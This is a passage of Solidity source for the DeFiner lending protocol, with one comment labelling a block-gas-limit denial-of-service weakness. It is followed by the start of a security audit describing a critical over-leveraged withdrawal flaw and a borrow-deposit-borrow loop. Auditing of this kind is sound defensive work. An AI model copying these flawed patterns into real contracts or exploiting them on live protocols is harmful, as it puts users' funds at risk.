); } } return power; } /** * Get current deposit balance of a token * @dev This is an estimation. Add a new checkpoint first, if you want to derive the exact balance. */ function getDepositETH( address _accountAddr ) public view returns (uint256 depositETH) { uint tokenNum = globalConfig.tokenInfoRegistry().getCoinLength(); //console.log("tokenNum", tokenNum); for(uint i = 0; i < tokenNum; i++) { if(isUserHasDeposits(_accountAddr, uint8(i))) { address tokenAddress = globalConfig.tokenInfoRegistry().addressFromIndex(i); uint divisor = INT_UNIT; if(tokenAddress != ETH_ADDR) { divisor = 10**uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(tokenAddress)); } depositETH = depositETH.add(getDepositBalanceCurrent(tokenAddress, _accountAddr).mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)).div(divisor)); } } return depositETH; } /** * Get borrowed balance of a token in the uint of Wei */ // sichaoy: change name to getTotalBorrowInETH() function getBorrowETH( address _accountAddr ) public view returns (uint256 borrowETH) { uint tokenNum = globalConfig.tokenInfoRegistry().getCoinLength(); //console.log("tokenNum", tokenNum); // SWC-DoS With Block Gas Limit: L387 for(uint i = 0; i < tokenNum; i++) { if(isUserHasBorrows(_accountAddr, uint8(i))) { address tokenAddress = globalConfig.tokenInfoRegistry().addressFromIndex(i); uint divisor = INT_UNIT; if(tokenAddress != ETH_ADDR) { divisor = 10 ** uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(tokenAddress)); } borrowETH = borrowETH.add(getBorrowBalanceCurrent(tokenAddress, _accountAddr).mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)).div(divisor)); } } return borrowETH; } /** * Check if the account is liquidatable * @param _borrower borrower's account * @return true if the account is liquidatable */ function isAccountLiquidatable(address _borrower) external returns (bool) { // Add new rate check points for all the collateral tokens from borrower in order to // have accurate calculation of liquidation oppotunites. uint tokenNum = globalConfig.tokenInfoRegistry().getCoinLength(); //console.log("tokenNum", tokenNum); for(uint8 i = 0; i < tokenNum; i++) { if (isUserHasDeposits(_borrower, i) || isUserHasBorrows(_borrower, i)) { address token = globalConfig.tokenInfoRegistry().addressFromIndex(i); globalConfig.bank().newRateIndexCheckpoint(token); } } uint256 liquidationThreshold = globalConfig.liquidationThreshold(); uint256 liquidationDiscountRatio = globalConfig.liquidationDiscountRatio(); uint256 totalBorrow = getBorrowETH(_borrower); uint256 totalCollateral = getDepositETH(_borrower); // The value of discounted collateral should be never less than the borrow amount. // We assume this will never happen as the market will not drop extreamly fast so that // the LTV changes from 85% to 95%, an 10% drop within one block. // require( // totalBorrow.mul(100) <= totalCollateral.mul(liquidationDiscountRatio), // "Collateral is not sufficient to be liquidated." // ); // It is required that LTV is larger than LIQUIDATE_THREADHOLD for liquidation // return totalBorrow.mul(100) > totalCollateral.mul(liquidationThreshold); return totalBorrow.mul(100) > totalCollateral.mul(liquidationThreshold) && totalBorrow.mul(100) <= totalCollateral.mul(liquidationDiscountRatio); } struct LiquidationVars { uint256 totalBorrow; uint256 totalCollateral; uint256 msgTotalBorrow; uint256 msgTotalCollateral; uint256 targetTokenBalance; uint256 liquidationDebtValue; uint256 liquidationThreshold; uint256 liquidationDiscountRatio; uint256 borrowLTV; uint256 paymentOfLiquidationValue; } /** * Get current block number * @return the current block number */ function getBlockNumber() private view returns (uint) { return block.number; } /** * An account claim all mined FIN token. * @dev If the FIN mining index point doesn't exist, we have to calculate the FIN amount * accurately. So the user can withdraw all available FIN tokens. */ function claim(address _account) public onlyAuthorized returns(uint){ uint256 coinLength = globalConfig.tokenInfoRegistry().getCoinLength(); for(uint8 i = 0; i < coinLength; i++) { if (isUserHasDeposits(_account, i) || isUserHasBorrows(_account, i)) { address token = globalConfig.tokenInfoRegistry().addressFromIndex(i); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[token]; uint256 currentBlock = getBlockNumber(); globalConfig.bank().updateMining(token); if (isUserHasDeposits(_account, i)) { globalConfig.bank().updateDepositFINIndex(token); uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(token, tokenInfo.getLastDepositBlock()); calculateDepositFIN(tokenInfo.getLastDepositBlock(), token, _account, currentBlock); tokenInfo.deposit(0, accruedRate, currentBlock); } if (isUserHasBorrows(_account, i)) { globalConfig.bank().updateBorrowFINIndex(token); uint256 accruedRate = globalConfig.bank().getBorrowAccruedRate(token, tokenInfo.getLastBorrowBlock()); calculateBorrowFIN(tokenInfo.getLastBorrowBlock(), token, _account, currentBlock); tokenInfo.borrow(0, accruedRate, currentBlock); } } } uint _FINAmount = FINAmount[_account]; FINAmount[_account] = 0; return _FINAmount; } /** * Accumulate the amount FIN mined by depositing between _lastBlock and _currentBlock */ function calculateDepositFIN(uint256 _lastBlock, address _token, address _accountAddr, uint _currentBlock) internal { uint indexDifference = globalConfig.bank().depositFINRateIndex(_token, _currentBlock) .sub(globalConfig.bank().depositFINRateIndex(_token, _lastBlock)); uint getFIN = getDepositBalanceCurrent(_token, _accountAddr) .mul(indexDifference) .div(globalConfig.bank().depositeRateIndex(_token, getBlockNumber())); FINAmount[_accountAddr] = FINAmount[_accountAddr].add(getFIN); } /** * Accumulate the amount FIN mined by borrowing between _lastBlock and _currentBlock */ function calculateBorrowFIN(uint256 _lastBlock, address _token, address _accountAddr, uint _currentBlock) internal { uint indexDifference = globalConfig.bank().borrowFINRateIndex(_token, _currentBlock) .sub(globalConfig.bank().borrowFINRateIndex(_token, _lastBlock)); uint getFIN = getBorrowBalanceCurrent(_token, _accountAddr) .mul(indexDifference) .div(globalConfig.bank().borrowRateIndex(_token, getBlockNumber())); FINAmount[_accountAddr] = FINAmount[_accountAddr].add(getFIN); } } pragma solidity 0.5.14; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./config/Constant.sol"; import "./config/GlobalConfig.sol"; import { ICToken } from "./compound/ICompound.sol"; import { ICETH } from "./compound/ICompound.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; // import "@nomiclabs/buidler/console.sol"; contract Bank is Constant, Initializable{ using SafeMath for uint256; mapping(address => uint256) public totalLoans; // amount of lended tokens mapping(address => uint256) public totalReserve; // amount of tokens in reservation mapping(address => uint256) public totalCompound; // amount of tokens in compound // Token => block-num => rate mapping(address => mapping(uint => uint)) public depositeRateIndex; // the index curve of deposit rate // Token => block-num => rate mapping(address => mapping(uint => uint)) public borrowRateIndex; // the index curve of borrow rate // token address => block number mapping(address => uint) public lastCheckpoint; // last checkpoint on the index curve // cToken address => rate mapping(address => uint) public lastCTokenExchangeRate; // last compound cToken exchange rate mapping(address => ThirdPartyPool) compoundPool; // the compound pool GlobalConfig globalConfig; // global configuration contract address mapping(address => mapping(uint => uint)) public depositFINRateIndex; mapping(address => mapping(uint => uint)) public borrowFINRateIndex; mapping(address => uint) public lastDepositeFINRateCheckpoint; mapping(address => uint) public lastBorrowFINRateCheckpoint; modifier onlyAuthorized() { require(msg.sender == address(globalConfig.savingAccount()) || msg.sender == address(globalConfig.accounts()), "Only authorized to call from DeFiner internal contracts."); _; } struct ThirdPartyPool { bool supported; // if the token is supported by the third party platforms such as Compound uint capitalRatio; // the ratio of the capital in third party to the total asset uint depositRatePerBlock; // the deposit rate of the token in third party uint borrowRatePerBlock; // the borrow rate of the token in third party } event UpdateIndex(address indexed token, uint256 depositeRateIndex, uint256 borrowRateIndex); event UpdateDepositFINIndex(address indexed _token, uint256 depositFINRateIndex); event UpdateBorrowFINIndex(address indexed _token, uint256 borrowFINRateIndex); /** * Initialize the Bank * @param _globalConfig the global configuration contract */ function initialize( GlobalConfig _globalConfig ) public initializer { globalConfig = _globalConfig; } /** * Total amount of the token in Saving account * @param _token token address */ function getTotalDepositStore(address _token) public view returns(uint) { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); // totalLoans[_token] = U totalReserve[_token] = R return totalCompound[cToken].add(totalLoans[_token]).add(totalReserve[_token]); // return totalAmount = C + U + R } /** * Update total amount of token in Compound as the cToken price changed * @param _token token address */ function updateTotalCompound(address _token) internal { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); if(cToken != address(0)) { totalCompound[cToken] = ICToken(cToken).balanceOfUnderlying(address(globalConfig.savingAccount())); } } /** * Update the total reservation. Before run this function, make sure that totalCompound has been updated * by calling updateTotalCompound. Otherwise, totalCompound may not equal to the exact amount of the * token in Compound. * @param _token token address * @param _action indicate if user's operation is deposit or withdraw, and borrow or repay. * @return the actuall amount deposit/withdraw from the saving pool */ function updateTotalReserve(address _token, uint _amount, ActionType _action) internal returns(uint256 compoundAmount){ address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); uint totalAmount = getTotalDepositStore(_token); if (_action == ActionType.DepositAction || _action == ActionType.RepayAction) { // Total amount of token after deposit or repay if (_action == ActionType.DepositAction) totalAmount = totalAmount.add(_amount); else totalLoans[_token] = totalLoans[_token].sub(_amount); // Expected total amount of token in reservation after deposit or repay uint totalReserveBeforeAdjust = totalReserve[_token].add(_amount); if (cToken != address(0) && totalReserveBeforeAdjust > totalAmount.mul(globalConfig.maxReserveRatio()).div(100)) { uint toCompoundAmount = totalReserveBeforeAdjust.sub(totalAmount.mul(globalConfig.midReserveRatio()).div(100)); //toCompound(_token, toCompoundAmount); compoundAmount = toCompoundAmount; totalCompound[cToken] = totalCompound[cToken].add(toCompoundAmount); totalReserve[_token] = totalReserve[_token].add(_amount).sub(toCompoundAmount); } else { totalReserve[_token] = totalReserve[_token].add(_amount); } } else { // The lack of liquidity exception happens when the pool doesn't have enough tokens for borrow/withdraw // It happens when part of the token has lended to the other accounts. // However in case of withdrawAll, even if the token has no loan, this requirment may still false because // of the precision loss in the rate calcuation. So we put a logic here to deal with this case: in case // of withdrawAll and there is no loans for the token, we just adjust the balance in bank contract to the // to the balance of that individual account. if(_action == ActionType.WithdrawAction) { if(totalLoans[_token] != 0) require(getPoolAmount(_token) >= _amount, "Lack of liquidity when withdraw."); else if (getPoolAmount(_token) < _amount) totalReserve[_token] = _amount.sub(totalCompound[cToken]); totalAmount = getTotalDepositStore(_token); } else require(getPoolAmount(_token) >= _amount, "Lack of liquidity when borrow."); // Total amount of token after withdraw or borrow if (_action == ActionType.WithdrawAction) totalAmount = totalAmount.sub(_amount); else totalLoans[_token] = totalLoans[_token].add(_amount); // Expected total amount of token in reservation after deposit or repay uint totalReserveBeforeAdjust = totalReserve[_token] > _amount ? totalReserve[_token].sub(_amount) : 0; // Trigger fromCompound if the new reservation ratio is less than 10% if(cToken != address(0) && (totalAmount == 0 || totalReserveBeforeAdjust < totalAmount.mul(globalConfig.minReserveRatio()).div(100))) { uint totalAvailable = totalReserve[_token].add(totalCompound[cToken]).sub(_amount); if (totalAvailable < totalAmount.mul(globalConfig.midReserveRatio()).div(100)){ // Withdraw all the tokens from Compound compoundAmount = totalCompound[cToken]; totalCompound[cToken] = 0; totalReserve[_token] = totalAvailable; } else { // Withdraw partial tokens from Compound uint totalInCompound = totalAvailable.sub(totalAmount.mul(globalConfig.midReserveRatio()).div(100)); compoundAmount = totalCompound[cToken].sub(totalInCompound); totalCompound[cToken] = totalInCompound; totalReserve[_token] = totalAvailable.sub(totalInCompound); } } else { totalReserve[_token] = totalReserve[_token].sub(_amount); } } return compoundAmount; } function update(address _token, uint _amount, ActionType _action) public onlyAuthorized returns(uint256 compoundAmount) { updateTotalCompound(_token); // updateTotalLoan(_token); compoundAmount = updateTotalReserve(_token, _amount, _action); return compoundAmount; } function updateDepositFINIndex(address _token) public onlyAuthorized{ uint currentBlock = getBlockNumber(); uint deltaBlock; // sichaoy: newRateIndexCheckpoint should never be called before this line, so the total deposit // derived here is the total deposit in the last checkpoint without latest interests. deltaBlock = lastDepositeFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastDepositeFINRateCheckpoint[_token]); // sichaoy: How to deal with the case that totalDeposit = 0? depositFINRateIndex[_token][currentBlock] = getTotalDepositStore(_token) == 0 ? 0 : depositFINRateIndex[_token][lastDepositeFINRateCheckpoint[_token]] .add(depositeRateIndex[_token][lastCheckpoint[_token]] .mul(deltaBlock) .mul(globalConfig.tokenInfoRegistry().depositeMiningSpeeds(_token)) .div(getTotalDepositStore(_token)) ); lastDepositeFINRateCheckpoint[_token] = currentBlock; emit UpdateDepositFINIndex(_token, depositFINRateIndex[_token][currentBlock]); } function updateBorrowFINIndex(address _token) public onlyAuthorized{ uint currentBlock = getBlockNumber(); uint deltaBlock; deltaBlock = lastBorrowFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastBorrowFINRateCheckpoint[_token]); borrowFINRateIndex[_token][currentBlock] = totalLoans[_token] == 0 ? 0 : borrowFINRateIndex[_token][lastBorrowFINRateCheckpoint[_token]] .add(depositeRateIndex[_token][lastCheckpoint[_token]] .mul(deltaBlock) .mul(globalConfig.tokenInfoRegistry().borrowMiningSpeeds(_token)) .div(totalLoans[_token])); lastBorrowFINRateCheckpoint[_token] = currentBlock; emit UpdateBorrowFINIndex(_token, borrowFINRateIndex[_token][currentBlock]); } function updateMining(address _token) public onlyAuthorized{ newRateIndexCheckpoint(_token); updateTotalCompound(_token); } /** * Get the borrowing interest rate Borrowing interest rate. * @param _token token address * @return the borrow rate for the current block */ function getBorrowRatePerBlock(address _token) public view returns(uint) { if(!globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token)) // If the token is NOT supported by the third party, borrowing rate = 3% + U * 15%. return getCapitalUtilizationRatio(_token).mul(globalConfig.rateCurveSlope()).div(INT_UNIT).add(globalConfig.rateCurveConstant()).div(BLOCKS_PER_YEAR); // if the token is suppored in third party, borrowing rate = Compound Supply Rate * 0.4 + Compound Borrow Rate * 0.6 return (compoundPool[_token].depositRatePerBlock).mul(globalConfig.compoundSupplyRateWeights()). add((compoundPool[_token].borrowRatePerBlock).mul(globalConfig.compoundBorrowRateWeights())).div(10); } /** * Get Deposit Rate. Deposit APR = (Borrow APR * Utilization Rate (U) + Compound Supply Rate * * Capital Compound Ratio (C) )* (1- DeFiner Community Fund Ratio (D)). The scaling is 10 ** 18 * sichaoy: make sure the ratePerBlock is zero if both U and C are zero. * @param _token token address * @return deposite rate of blocks before the current block */ function getDepositRatePerBlock(address _token) public view returns(uint) { uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token); uint256 capitalUtilRatio = getCapitalUtilizationRatio(_token); if(!globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token)) return borrowRatePerBlock.mul(capitalUtilRatio).div(INT_UNIT); return borrowRatePerBlock.mul(capitalUtilRatio).add(compoundPool[_token].depositRatePerBlock .mul(compoundPool[_token].capitalRatio)).div(INT_UNIT); } /** * Get capital utilization. Capital Utilization Rate (U )= total loan outstanding / Total market deposit * @param _token token address */ function getCapitalUtilizationRatio(address _token) public view returns(uint) { uint256 totalDepositsNow = getTotalDepositStore(_token); if(totalDepositsNow == 0) { return 0; } else { return totalLoans[_token].mul(INT_UNIT).div(totalDepositsNow); } } /** * Ratio of the capital in Compound * @param _token token address */ function getCapitalCompoundRatio(address _token) public view returns(uint) { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); if(totalCompound[cToken] == 0 ) { return 0; } else { return uint(totalCompound[cToken].mul(INT_UNIT).div(getTotalDepositStore(_token))); } } /** * It's a utility function. Get the cummulative deposit rate in a block interval ending in current block * @param _token token address * @param _depositRateRecordStart the start block of the interval * @dev This function should always be called after current block is set as a new rateIndex point. */ // sichaoy: this function could be more general to have an end checkpoit as a parameter. // sichaoy: require:what if a index point doesn't exist? function getDepositAccruedRate(address _token, uint _depositRateRecordStart) external view returns (uint256) { uint256 depositRate = depositeRateIndex[_token][_depositRateRecordStart]; require(depositRate != 0, "_depositRateRecordStart is not a check point on index curve."); return depositRateIndexNow(_token).mul(INT_UNIT).div(depositRate); } /** * Get the cummulative borrow rate in a block interval ending in current block * @param _token token address * @param _borrowRateRecordStart the start block of the interval * @dev This function should always be called after current block is set as a new rateIndex point. */ // sichaoy: actually the rate + 1, add a require statement here to make sure // the checkpoint for current block exists. function getBorrowAccruedRate(address _token, uint _borrowRateRecordStart) external view returns (uint256) { uint256 borrowRate = borrowRateIndex[_token][_borrowRateRecordStart]; require(borrowRate != 0, "_borrowRateRecordStart is not a check point on index curve."); return borrowRateIndexNow(_token).mul(INT_UNIT).div(borrowRate); } /** * Set a new rate index checkpoint. * @param _token token address * @dev The rate set at the checkpoint is the rate from the last checkpoint to this checkpoint */ function newRateIndexCheckpoint(address _token) public onlyAuthorized { // return if the rate check point already exists uint blockNumber = getBlockNumber(); if (blockNumber == lastCheckpoint[_token]) return; uint256 UNIT = INT_UNIT; address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); // If it is the first check point, initialize the rate index uint256 previousCheckpoint = lastCheckpoint[_token]; if (lastCheckpoint[_token] == 0) { if(cToken == address(0)) { compoundPool[_token].supported = false; borrowRateIndex[_token][blockNumber] = UNIT; depositeRateIndex[_token][blockNumber] = UNIT; // Update the last checkpoint lastCheckpoint[_token] = blockNumber; } else { compoundPool[_token].supported = true; uint cTokenExchangeRate = ICToken(cToken).exchangeRateCurrent(); // Get the curretn cToken exchange rate in Compound, which is need to calculate DeFiner's rate // sichaoy: How to deal with the issue capitalRatio is zero if looking forward (An estimation) compoundPool[_token].capitalRatio = getCapitalCompoundRatio(_token); compoundPool[_token].borrowRatePerBlock = ICToken(cToken).borrowRatePerBlock(); // initial value compoundPool[_token].depositRatePerBlock = ICToken(cToken).supplyRatePerBlock(); // initial value borrowRateIndex[_token][blockNumber] = UNIT; depositeRateIndex[_token][blockNumber] = UNIT; // Update the last checkpoint lastCheckpoint[_token] = blockNumber; lastCTokenExchangeRate[cToken] = cTokenExchangeRate; } } else { if(cToken == address(0)) { compoundPool[_token].supported = false; borrowRateIndex[_token][blockNumber] = borrowRateIndexNow(_token); depositeRateIndex[_token][blockNumber] = depositRateIndexNow(_token); // Update the last checkpoint lastCheckpoint[_token] = blockNumber; } else { compoundPool[_token].supported = true; uint cTokenExchangeRate = ICToken(cToken).exchangeRateCurrent(); // Get the curretn cToken exchange rate in Compound, which is need to calculate DeFiner's rate compoundPool[_token].capitalRatio = getCapitalCompoundRatio(_token); compoundPool[_token].borrowRatePerBlock = ICToken(cToken).borrowRatePerBlock(); compoundPool[_token].depositRatePerBlock = cTokenExchangeRate.mul(UNIT).div(lastCTokenExchangeRate[cToken]) .sub(UNIT).div(blockNumber.sub(lastCheckpoint[_token])); borrowRateIndex[_token][blockNumber] = borrowRateIndexNow(_token); depositeRateIndex[_token][blockNumber] = depositRateIndexNow(_token); // Update the last checkpoint lastCheckpoint[_token] = blockNumber; lastCTokenExchangeRate[cToken] = cTokenExchangeRate; } } // Update the total loan if(borrowRateIndex[_token][blockNumber] != UNIT) { totalLoans[_token] = totalLoans[_token].mul(borrowRateIndex[_token][blockNumber]) .div(borrowRateIndex[_token][previousCheckpoint]); } emit UpdateIndex(_token, depositeRateIndex[_token][getBlockNumber()], borrowRateIndex[_token][getBlockNumber()]); } /** * Calculate a token deposite rate of current block * @param _token token address * @dev This is an looking forward estimation from last checkpoint and not the exactly rate that the user will pay or earn. * sichaoy: to make the notation consistent, change the name from depositRateIndexNow to depositRateIndexCurrent */ function depositRateIndexNow(address _token) public view returns(uint) { uint256 lcp = lastCheckpoint[_token]; // If this is the first checkpoint, set the index be 1. if(lcp == 0) return INT_UNIT; uint256 lastDepositeRateIndex = depositeRateIndex[_token][lcp]; uint256 depositRatePerBlock = getDepositRatePerBlock(_token); // newIndex = oldIndex*(1+r*delta_block). If delta_block = 0, i.e. the last checkpoint is current block, index doesn't change. return lastDepositeRateIndex.mul(getBlockNumber().sub(lcp).mul(depositRatePerBlock).add(INT_UNIT)).div(INT_UNIT); } /** * Calculate a token borrow rate of current block * @param _token token address */ function borrowRateIndexNow(address _token) public view returns(uint) { uint256 lcp = lastCheckpoint[_token]; // If this is the first checkpoint, set the index be 1. if(lcp == 0) return INT_UNIT; uint256 lastBorrowRateIndex = borrowRateIndex[_token][lcp]; uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token); return lastBorrowRateIndex.mul(getBlockNumber().sub(lcp).mul(borrowRatePerBlock).add(INT_UNIT)).div(INT_UNIT); } /** * Get the state of the given token * @param _token token address */ function getTokenState(address _token) public view returns (uint256 deposits, uint256 loans, uint256 reserveBalance, uint256 remainingAssets){ return ( getTotalDepositStore(_token), totalLoans[_token], totalReserve[_token], totalReserve[_token].add(totalCompound[globalConfig.tokenInfoRegistry().getCToken(_token)]) ); } function getPoolAmount(address _token) public view returns(uint) { return totalReserve[_token].add(totalCompound[globalConfig.tokenInfoRegistry().getCToken(_token)]); } // sichaoy: should not be public, why cannot we find _tokenIndex from token address? function deposit(address _to, address _token, uint256 _amount) external onlyAuthorized { require(_amount != 0, "Amount is zero"); // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateDepositFINIndex(_token); // Update tokenInfo. Add the _amount to principal, and update the last deposit block in tokenInfo globalConfig.accounts().deposit(_to, _token, _amount); // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, _amount, ActionType.DepositAction); if(compoundAmount > 0) { globalConfig.savingAccount().toCompound(_token, compoundAmount); } } function borrow(address _from, address _token, uint256 _amount) external onlyAuthorized { // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateBorrowFINIndex(_token); // Update tokenInfo for the user globalConfig.accounts().borrow(_from, _token, _amount); // Update pool balance // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, _amount, ActionType.BorrowAction); if(compoundAmount > 0) { globalConfig.savingAccount().fromCompound(_token, compoundAmount); } } function repay(address _to, address _token, uint256 _amount) external onlyAuthorized returns(uint) { // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateBorrowFINIndex(_token); // Sanity check require(globalConfig.accounts().getBorrowPrincipal(_to, _token) > 0, "Token BorrowPrincipal must be greater than 0. To deposit balance, please use deposit button." ); // Update tokenInfo uint256 remain = globalConfig.accounts().repay(_to, _token, _amount); // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, _amount.sub(remain), ActionType.RepayAction); if(compoundAmount > 0) { globalConfig.savingAccount().toCompound(_token, compoundAmount); } // Return actual amount repaid return _amount.sub(remain); } /** * Withdraw a token from an address * @param _from address to be withdrawn from * @param _token token address * @param _amount amount to be withdrawn * @return The actually amount withdrawed, which will be the amount requested minus the commission fee. */ function withdraw(address _from, address _token, uint256 _amount) external onlyAuthorized returns(uint) { require(_amount != 0, "Amount is zero"); // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateDepositFINIndex(_token); // Withdraw from the account uint amount = globalConfig.accounts().withdraw(_from, _token, _amount); // Update pool balance // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, amount, ActionType.WithdrawAction); // Check if there are enough tokens in the pool. if(compoundAmount > 0) { globalConfig.savingAccount().fromCompound(_token, compoundAmount); } return amount; } /** * Get current block number * @return the current block number */ function getBlockNumber() private view returns (uint) { return block.number; } }
Definer Definer Date Date February 2021 Lead Auditor Lead Auditor Shayan Eskandari Co-auditors Co-auditors Alex Wade 1 Executive Summary 1 Executive Summary This report presents the results of our engagement with DeFiner DeFiner to review DeFiner’s DeFiner’s SavingAccount protocol SavingAccount protocol . The review was conducted over two weeks, from Feb 8, 2021 Feb 8, 2021 to Feb 19, 2021 Feb 19, 2021 by Shayan Shayan Eskandari Eskandari and Alex Wade Alex Wade . A total of 15 person-days were spent. 2 Scope 2 Scope Our review focused on the commit hash 880e9aaa883b4d9b68ed9ff3c47e9347345526cc . The list of files in scope can be found in the Appendix . 3 Security Specification 3 Security Specification This section describes, from a security perspective from a security perspective , the expected behavior of the system under review. It is not a substitute for documentation. 3.1 Actors 3.1 Actors The relevant actors are listed below with their respective abilities: Owner Owner : The Owner has unilateral control over each contract in the Definer protocol. Among other actions, this role may: Switch out any of the core contracts : This is equivalent to complete control over the protocol and all its held assets. Change any system-wide constants : The Owner may arbitrarily set various rates and ratios. Includes, but is not limited to: the community fund ratio, the liquidation threshold, the liquidation purchase discount ratio, and supply / borrow rates from Compound. Add supported tokens to the TokenRegistry TokenRegistry Change configuration for tokens in the TokenRegistry TokenRegistry : Among other actions, the Ownermay update the borrow LTV for any token and enable/disable any token. Pause and unpause the primary contract, SavingAccount SavingAccount Emergency Address Emergency Address : The emergency address may withdraw any funds held in the SavingAccount contract. 3.2 Security Concerns 3.2 Security Concerns It should be noted that DeFiner is fully trusted in this system as they control all the variables and contract addresses used in DeFiner smart contract system. Using time lock in these changes can mitigate some issues and protect users from system take over. However this does not solve the underlying centralization. DeFiner is susceptible to market manipulations that results in sudden price changes on ChainLink aggregators and also rate fluctuation on Compound tokens used in this system. 4 Findings 4 Findings Each issue has an assigned severity: Minor issues are subjective in nature. They are typically suggestions around best practices or readability. Code maintainers should use their own judgment as to whether to address such issues. Medium issues are objective in nature but are not security vulnerabilities. These should be addressed unless there is a clear reason not to. Major issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed. Critical issues are directly exploitable security vulnerabilities that need to be fixed. 4.1 Users can withdraw their funds immediately when they are 4.1 Users can withdraw their funds immediately when they are over-leveraged over-leveraged Critical Description Accounts.withdraw makes two checks before processing a withdrawal. First, the method checks that the amount requested for withdrawal is not larger than the user’s balance for the asset in question: code/contracts/Accounts.sol:L197-L201 code/contracts/Accounts.sol:L197-L201 function withdraw ( address _accountAddr , address _token , uint256 _amount ) external onlyAuthorized returns ( uint256 // Check if withdraw amount is less than user's balance // Check if withdraw amount is less than user's balance require ( _amount <= getDepositBalanceCurrent ( _token , _accountAddr ), "Insufficient balance." ); uint256 borrowLTV = globalConfig . tokenInfoRegistry (). getBorrowLTV ( _token ); Second, the method checks that the withdrawal will not over-leverage the user. The amount to be withdrawn is subtracted from the user’s current “borrow power” at the current price. If the user’s total value borrowed exceeds this new borrow power, the method fails, as theuser no longer has sufficient collateral to support their borrow positions. However, this require is only checked if a user is not already over-leveraged: code/contracts/Accounts.sol:L203-L211 code/contracts/Accounts.sol:L203-L211 // This if condition is to deal with the withdraw of collateral token in liquidation. // This if condition is to deal with the withdraw of collateral token in liquidation. // As the amount if borrowed asset is already large than the borrow power, we don't // As the amount if borrowed asset is already large than the borrow power, we don't // have to check the condition here. // have to check the condition here. if ( getBorrowETH ( _accountAddr ) <= getBorrowPower ( _accountAddr )) require ( getBorrowETH ( _accountAddr ) <= getBorrowPower ( _accountAddr ). sub ( _amount . mul ( globalConfig . tokenInfoRegistry (). priceFromAddress ( _token )) . mul ( borrowLTV ). div ( Utils . getDivisor ( address ( globalConfig ), _token )). div ( 100 ) ), "Insufficient collateral when withdraw." ); If the user has already borrowed more than their “borrow power” allows, they are allowed to withdraw regardless. This case may arise in several circumstances; the most common being price fluctuation. Recommendation Disallow withdrawals if the user is already over-leveraged. From the comment included in the code sample above, this condition is included to support the liquidate method, but its inclusion creates an attack vector that may allow users to withdraw when they should not be able to do so. Consider adding an additional method to support liquidate , so that users may not exit without repaying debts. 4.2 Users can borrow funds, deposit them, then borrow more 4.2 Users can borrow funds, deposit them, then borrow more Major Won't Fix Resolution Comment from DeFiner team: This is expected behaviour and our contracts are designed like that. Other lending protocols like Compound and AAVE allows this feature as well. So this is not a CRITICAL issue, as the user’s funds are not at risk. The funds of the users are only at risk when their position is over-leveraged, which is expected behaviour. Description Users may deposit and borrow funds denominated in any asset supported by the TokenRegistry . Each time a user deposits or borrows a token, they earn FIN according to the difference in deposit / borrow rate indices maintained by Bank . Borrowing fundsWhen users borrow funds, they may only borrow up to a certain amount: the user’s “borrow power.” As long as the user is not requesting to borrow an amount that would cause their resulting borrowed asset value to exceed their available borrow power, the borrow is successful and the user receives the assets immediately. A user’s borrow power is calculated in the following function: code/contracts/Accounts.sol:L333-L353 code/contracts/Accounts.sol:L333-L353 /** /** * Calculate an account's borrow power based on token's LTV * Calculate an account's borrow power based on token's LTV */ */ function getBorrowPower ( address _borrower ) public view returns ( uint256 power ) { for ( uint8 i = 0 ; i < globalConfig . tokenInfoRegistry (). getCoinLength (); i ++ ) { if ( isUserHasDeposits ( _borrower , i )) { address token = globalConfig . tokenInfoRegistry (). addressFromIndex ( i ); uint divisor = INT_UNIT ; if ( token != ETH_ADDR ) { divisor = 10 ** uint256 ( globalConfig . tokenInfoRegistry (). getTokenDecimals ( token )); } // globalConfig.bank().newRateIndexCheckpoint(token); // globalConfig.bank().newRateIndexCheckpoint(token); power = power . add ( getDepositBalanceCurrent ( token , _borrower ) . mul ( globalConfig . tokenInfoRegistry (). priceFromIndex ( i )) . mul ( globalConfig . tokenInfoRegistry (). getBorrowLTV ( token )). div ( 100 ) . div ( divisor ) ); } } return power ; } For each asset, borrow power is calculated from the user’s deposit size, multiplied by the current chainlink price, multiplied and that asset’s “borrow LTV.” Depositing borrowed funds After a user borrows tokens, they can then deposit those tokens, increasing their deposit balance for that asset. As a result, their borrow power increases, which allows the user to borrow again. By continuing to borrow, deposit, and borrow again, the user can repeatedly borrow assets. Essentially, this creates positions for the user where the collateral for their massive borrow position is entirely made up of borrowed assets. Conclusion There are several potential side-effects of this behavior. First, as described in issue 4.6 , the system is comprised of many different tokens, each of which is subject to price fluctuation. By borrowing and depositing repeatedly, a user may establish positions across all supported tokens. At this point, if price fluctuations cause the user’s account to cross the liquidation threshold, their positions can be liquidated. Liquidation is a complicated function of the protocol, but in essence, the liquidator purchases a target’s collateral at a discount, and the resulting sale balances the account somewhat. However, when a user repeatedly deposits borrowed tokens, their collateral is madeup of borrowed tokens: the system’s liquidity! As a result, this may allow an attacker to intentionally create a massively over-leveraged account on 